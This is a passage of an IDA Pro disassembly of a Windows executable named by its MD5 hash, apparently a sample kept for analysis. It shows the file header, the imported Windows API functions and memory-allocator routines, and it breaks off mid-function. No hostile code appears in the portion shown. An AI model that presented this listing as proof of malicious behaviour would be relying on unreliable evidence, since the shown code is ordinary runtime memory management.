;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D74613E21637BFE3C9B773C606015D91

; File Name   :	u:\work\d74613e21637bfe3c9b773c606015d91_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	20000000
; Section 1. (virtual address 00001000)
; Virtual size			: 000124C0 (  74944.)
; Section size in file		: 00012600 (  75264.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 20001000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_20001000	dd offset dword_20001004 ; DATA	XREF: CODE:200063A6o
					; CODE:20006D55o ...
dword_20001004	dd 7453060Ah, 676E6972h	; DATA XREF: CODE:off_20001000o
off_2000100C	dd offset dword_20001058 ; DATA	XREF: CODE:20001128o
					; CODE:20006378o ...
		dd 7 dup(0)
		dd offset dword_20001058
		dd 4, 0
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20001058	dd 624F5407h, 7463656Ah	; DATA XREF: CODE:off_2000100Co
					; CODE:2000102Co ...
off_20001060	dd offset dword_20001064 ; DATA	XREF: CODE:2000CA80o
					; CODE:2000F751o
dword_20001064	dd 4F540707h, 63656A62h	; DATA XREF: CODE:off_20001060o
		db 74h
		dd offset dword_20001058
		align 4
		dd 6000000h, 74737953h,	6D65h
off_20001080	dd offset dword_20001084 ; DATA	XREF: CODE:2000F779o
dword_20001084	dd 49490A0Fh, 7265746Eh, 65636166h, 0 ;	DATA XREF: CODE:off_20001080o
		dd 1, 0
		dd 0C000h, 0
dword_200010A4	dd 79530646h, 6D657473h, 0FFFF0003h, 244483CCh,	0A9E9F804h
					; DATA XREF: CODE:off_200010D1o
		dd 83000044h, 0F8042444h, 44C7E9h, 24448300h, 0D1E9F804h
		dd 0CC000044h
		db 0CCh
off_200010D1	dd offset dword_200010A4+0Dh ; DATA XREF: CODE:200010F1o
		dd offset dword_200010A4+17h
		dd offset dword_200010A4+21h
byte_200010DD	db 1, 2	dup(0)		; DATA XREF: CODE:20001104o
		dd 2 dup(0)
		dd 0C000h, 0
		db 46h
		dd offset off_200010D1
		db 8, 2	dup(0)
		align 10h
off_20001100	dd offset dword_2000114C ; DATA	XREF: CODE:20006EA0o
		dd offset byte_200010DD
		dd 6 dup(0)
		dd offset dword_2000114C
		dd 0Ch
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset sub_20005538
		dd offset sub_20005544
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_20005554
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000114C	dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h
					; DATA XREF: CODE:off_20001100o
					; CODE:20001120o
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetFileType. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RaiseException. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FindClose. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetStartupInfoA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION lstrcpynA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MultiByteToWideChar. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SysAllocStringLen. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SysReAllocStringLen. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SysFreeString. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION InterlockedIncrement. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION InterlockedDecrement. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200012B8	proc near		; CODE XREF: sub_20005AB4+71p

var_1C		= byte ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp		; lpStartupInfo
		call	GetStartupInfoA
		test	[esp+48h+var_1C], 1
		jz	short loc_200012D3
		movzx	ebx, [esp+48h+var_18]


loc_200012D3:				; CODE XREF: sub_200012B8+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_200012B8	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000131C	proc near		; CODE XREF: sub_20001374+6p
		push	ebx
		push	esi
		mov	esi, offset dword_200155E0
		cmp	dword ptr [esi], 0
		jnz	short loc_20001362
		push	644h		; uBytes
		push	0		; uFlags
		call	LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_2000133F
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_2000133F:				; CODE XREF: sub_2000131C+1Cj
		mov	eax, ds:dword_200155DC
		mov	[ecx], eax
		mov	ds:dword_200155DC, ecx
		xor	edx, edx


loc_2000134E:				; CODE XREF: sub_2000131C+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_2000134E


loc_20001362:				; CODE XREF: sub_2000131C+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_2000131C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000136C	proc near		; CODE XREF: sub_200019A8+33p
					; sub_200019A8+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_2000136C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001374	proc near		; CODE XREF: sub_200013BC+5Dp
					; sub_2000142C+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_2000131C
		test	eax, eax
		jnz	short loc_20001388
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20001388:				; CODE XREF: sub_20001374+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_20001374	endp


; =============== S U B	R O U T	I N E =======================================



sub_200013A4	proc near		; CODE XREF: sub_200013BC+2Cp
					; sub_200013BC+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_200155E0
		mov	[eax], edx
		mov	ds:dword_200155E0, eax
		retn
sub_200013A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_200013BC	proc near		; CODE XREF: sub_20001768+6Cp
					; sub_200017F8+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx


loc_200013D8:				; CODE XREF: sub_200013BC+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_200013FA
		mov	eax, ebx
		call	sub_200013A4
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_2000140F
; ---------------------------------------------------------------------------


loc_200013FA:				; CODE XREF: sub_200013BC+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_2000140F
		mov	eax, ebx
		call	sub_200013A4
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax


loc_2000140F:				; CODE XREF: sub_200013BC+3Cj
					; sub_200013BC+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_200013D8
		mov	edx, esi
		mov	eax, ebp
		call	sub_20001374
		test	al, al
		jnz	short loc_20001426
		xor	eax, eax
		mov	[esi], eax


loc_20001426:				; CODE XREF: sub_200013BC+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200013BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000142C	proc near		; CODE XREF: sub_2000191C+7Ap
					; sub_20001D04+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx


loc_20001437:				; CODE XREF: sub_2000142C+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_200014B0
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_200014B0
		cmp	esi, eax
		jnz	short loc_2000146D
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_200014AC
		mov	eax, ebx
		call	sub_200013A4
		jmp	short loc_200014AC
; ---------------------------------------------------------------------------


loc_2000146D:				; CODE XREF: sub_2000142C+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_20001482
		sub	[ebx+0Ch], edi
		jmp	short loc_200014AC
; ---------------------------------------------------------------------------


loc_20001482:				; CODE XREF: sub_2000142C+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_20001374
		test	al, al
		jnz	short loc_200014AC
		xor	eax, eax
		jmp	short loc_200014B8
; ---------------------------------------------------------------------------


loc_200014AC:				; CODE XREF: sub_2000142C+36j
					; sub_2000142C+3Fj ...
		mov	al, 1
		jmp	short loc_200014B8
; ---------------------------------------------------------------------------


loc_200014B0:				; CODE XREF: sub_2000142C+12j
					; sub_2000142C+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_20001437
		xor	eax, eax


loc_200014B8:				; CODE XREF: sub_2000142C+7Ej
					; sub_2000142C+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000142C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200014C0	proc near		; CODE XREF: sub_20001768+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_200014D6
		mov	esi, 100000h
		jmp	short loc_200014E2
; ---------------------------------------------------------------------------


loc_200014D6:				; CODE XREF: sub_200014C0+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_200014E2:				; CODE XREF: sub_200014C0+14j
		mov	[ebx+4], esi
		push	1		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_2000151F
		mov	edx, ebx
		mov	eax, offset dword_200155E4
		call	sub_20001374
		test	al, al
		jnz	short loc_2000151F
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_2000151F:				; CODE XREF: sub_200014C0+3Aj
					; sub_200014C0+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200014C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001524	proc near		; CODE XREF: sub_200017F8+4Cp
					; sub_200017F8+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	100000h		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_2000156E
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc
		mov	[ebx], eax


loc_2000156E:				; CODE XREF: sub_20001524+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_20001596
		mov	edx, ebx
		mov	eax, offset dword_200155E4
		call	sub_20001374
		test	al, al
		jnz	short loc_20001596
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_20001596:				; CODE XREF: sub_20001524+4Dj
					; sub_20001524+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001524	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000159C	proc near		; CODE XREF: sub_20001768+7Ep
					; sub_200017F8+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, ds:dword_200155E4
		jmp	short loc_2000161C
; ---------------------------------------------------------------------------


loc_200015CB:				; CODE XREF: sub_2000159C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_2000161A
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_2000161A
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_200015E9
		mov	[esp+24h+var_1C], esi


loc_200015E9:				; CODE XREF: sub_2000159C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_200015F8
		mov	[esp+24h+var_18], eax


loc_200015F8:				; CODE XREF: sub_2000159C+56j
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	esi		; lpAddress
		call	VirtualFree
		test	eax, eax
		jnz	short loc_20001613
		mov	ds:dword_200155C0, 1


loc_20001613:				; CODE XREF: sub_2000159C+6Bj
		mov	eax, ebx
		call	sub_200013A4


loc_2000161A:				; CODE XREF: sub_2000159C+36j
					; sub_2000159C+41j
		mov	ebx, edi


loc_2000161C:				; CODE XREF: sub_2000159C+2Dj
		cmp	ebx, offset dword_200155E4
		jnz	short loc_200015CB
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_2000164C
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax


loc_2000164C:				; CODE XREF: sub_2000159C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000159C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001654	proc near		; CODE XREF: sub_20001768+2Dp
					; sub_200017F8+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, ds:dword_200155E4
		jmp	short loc_200016D6
; ---------------------------------------------------------------------------


loc_2000169A:				; CODE XREF: sub_20001654+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_200016A8
		mov	ebx, ebp


loc_200016A8:				; CODE XREF: sub_20001654+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_200016B2
		mov	edi, [esp+1Ch+var_14]


loc_200016B2:				; CODE XREF: sub_20001654+58j
		cmp	edi, ebx
		jbe	short loc_200016D4
		push	4		; flProtect
		push	1000h		; flAllocationType
		sub	edi, ebx
		push	edi		; dwSize
		push	ebx		; lpAddress
		call	VirtualAlloc
		test	eax, eax
		jnz	short loc_200016D4
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_200016DE
; ---------------------------------------------------------------------------


loc_200016D4:				; CODE XREF: sub_20001654+60j
					; sub_20001654+74j
		mov	esi, [esi]


loc_200016D6:				; CODE XREF: sub_20001654+44j
		cmp	esi, offset dword_200155E4
		jnz	short loc_2000169A


loc_200016DE:				; CODE XREF: sub_20001654+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200016E8	proc near		; CODE XREF: sub_2000191C+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, ds:dword_200155E4
		jmp	short loc_20001757
; ---------------------------------------------------------------------------


loc_2000171F:				; CODE XREF: sub_200016E8+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_2000172F
		mov	ebx, [esp+14h+var_14]


loc_2000172F:				; CODE XREF: sub_200016E8+42j
		cmp	ebp, edi
		jnb	short loc_20001735
		mov	edi, ebp


loc_20001735:				; CODE XREF: sub_200016E8+49j
		cmp	edi, ebx
		jbe	short loc_20001755
		push	4000h		; dwFreeType
		sub	edi, ebx
		push	edi		; dwSize
		push	ebx		; lpAddress
		call	VirtualFree
		test	eax, eax
		jnz	short loc_20001755
		mov	ds:dword_200155C0, 2


loc_20001755:				; CODE XREF: sub_200016E8+4Fj
					; sub_200016E8+61j
		mov	esi, [esi]


loc_20001757:				; CODE XREF: sub_200016E8+35j
		cmp	esi, offset dword_200155E4
		jnz	short loc_2000171F
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200016E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001768	proc near		; CODE XREF: sub_20001F14+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset dword_200155F4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_20001784:				; CODE XREF: sub_20001768+75j
		mov	ebx, [ebp+0]
		jmp	short loc_200017BC
; ---------------------------------------------------------------------------


loc_20001789:				; CODE XREF: sub_20001768+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_200017BA
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_20001654
		cmp	dword ptr [esi], 0
		jz	short loc_200017EF
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_200017EF
		mov	eax, ebx
		call	sub_200013A4
		jmp	short loc_200017EF
; ---------------------------------------------------------------------------


loc_200017BA:				; CODE XREF: sub_20001768+24j
		mov	ebx, [ebx]


loc_200017BC:				; CODE XREF: sub_20001768+1Fj
		cmp	ebx, ebp
		jnz	short loc_20001789
		mov	edx, esi
		mov	eax, edi
		call	sub_200014C0
		cmp	dword ptr [esi], 0
		jz	short loc_200017EF
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_200013BC
		cmp	[esp+18h+var_18], 0
		jnz	short loc_20001784
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_2000159C
		xor	eax, eax
		mov	[esi], eax


loc_200017EF:				; CODE XREF: sub_20001768+35j
					; sub_20001768+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001768	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200017F8	proc near		; CODE XREF: sub_20001F40+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset dword_200155F4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_20001817:				; CODE XREF: sub_200017F8+6Cj
					; sub_200017F8+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_2000181E
; ---------------------------------------------------------------------------


loc_2000181C:				; CODE XREF: sub_200017F8+2Dj
		mov	ebx, [ebx]


loc_2000181E:				; CODE XREF: sub_200017F8+22j
		cmp	ebx, ebp
		jz	short loc_20001827
		cmp	esi, [ebx+8]
		jnz	short loc_2000181C


loc_20001827:				; CODE XREF: sub_200017F8+28j
		cmp	esi, [ebx+8]
		jnz	short loc_20001883
		cmp	edi, [ebx+0Ch]
		jle	loc_200018CB
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_20001524
		cmp	[esp+24h+var_20], 0
		jz	short loc_20001883
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_200013BC
		cmp	[esp+24h+var_18], 0
		jnz	short loc_20001817
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_2000159C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_20001913
; ---------------------------------------------------------------------------


loc_20001883:				; CODE XREF: sub_200017F8+32j
					; sub_200017F8+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_20001524
		cmp	[esp+24h+var_20], 0
		jz	short loc_200018CB
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
